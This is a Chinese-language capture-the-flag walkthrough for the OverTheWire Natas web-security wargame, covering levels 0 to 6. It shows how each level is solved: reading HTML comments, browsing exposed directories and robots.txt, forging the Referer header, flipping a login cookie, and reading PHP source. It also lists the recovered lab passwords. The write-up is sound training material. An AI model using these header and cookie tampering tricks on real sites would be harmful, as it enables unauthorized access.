Natas
信息
Natas 教授服务器端网页安全的基础知识。
Natas 的每个关卡都有自己独立的网站,位于 http://natasX.natas.labs.overthewire.org
,其中 X 是关卡编号。这里没有 SSH 登录功能。要访问某个关卡,你需要输入该关卡的用户名(例如,第 0 关的用户名是 natas0)和对应的密码。
每个关卡都可以访问下一关的密码。你的任务是以某种方式获取下一关的密码并完成升级。所有密码都存储在 /etc/natas_webpass/ 中。例如,natas5 的密码存储在文件 /etc/natas_webpass/natas5
中,该文件只有 natas4 和 natas5 有读取权限。
Level 0
Username: natas0 Password: natas0 URL:
http://natas0.natas.labs.overthewire.org
直接登录即可
Level 0 → Level 1
在 Level 0 页面的 HTML 源码中
<!--The password for natas1 is 0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq -->
Level 1 → Level 2
依然在网页的 HTML 源码中
<!--The password for natas2 is TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI -->
Level 2 → Level 3
与之前的请求相比,多了一个资源请求
尝试对路径进行探测,发现 http://natas2.natas.labs.overthewire.org/files/
users.txt
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH
eve:zo4mJWyNj2
mallory:9urtcpzBmH
Level 3 → Level 4
在页面的源码中,存在有这么一行注释
<!-- No more information leaks!! Not even Google will find it this time... -->
结合 Google 来思考,可以想到约束自动化爬虫的 robots.txt
文件
robots.txt
User-agent: *
Disallow: /s3cr3t/
最后得到
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ
Level 4 → Level 5
根据页面信息,很明显就能想到是更改 Header 字段
GET / HTTP/1.1
Host: natas4.natas.labs.overthewire.org
Cache-Control: max-age=0
Authorization: Basic bmF0YXM0OlFyeVpYYzJlMHphaFVMZEhydEh4enlZa2o1OWtVeExR
Accept-Language: zh-CN,zh;q=0.9
Referer: http://natas5.natas.labs.overthewire.org/
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Access granted. The password for natas5 is 0n35PkggAPm2zbEpOU802c0x0Msn1ToK
Level 5 → Level 6
根据页面提示,猜测可能是 Cookie 的问题
将 loggedin
的值改为 1 之后
Access granted. The password for natas6 is 0RoJwHdSKWFTYR5WuiAewauSuNaBXned
Level 6 → Level 7
提供了源码
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>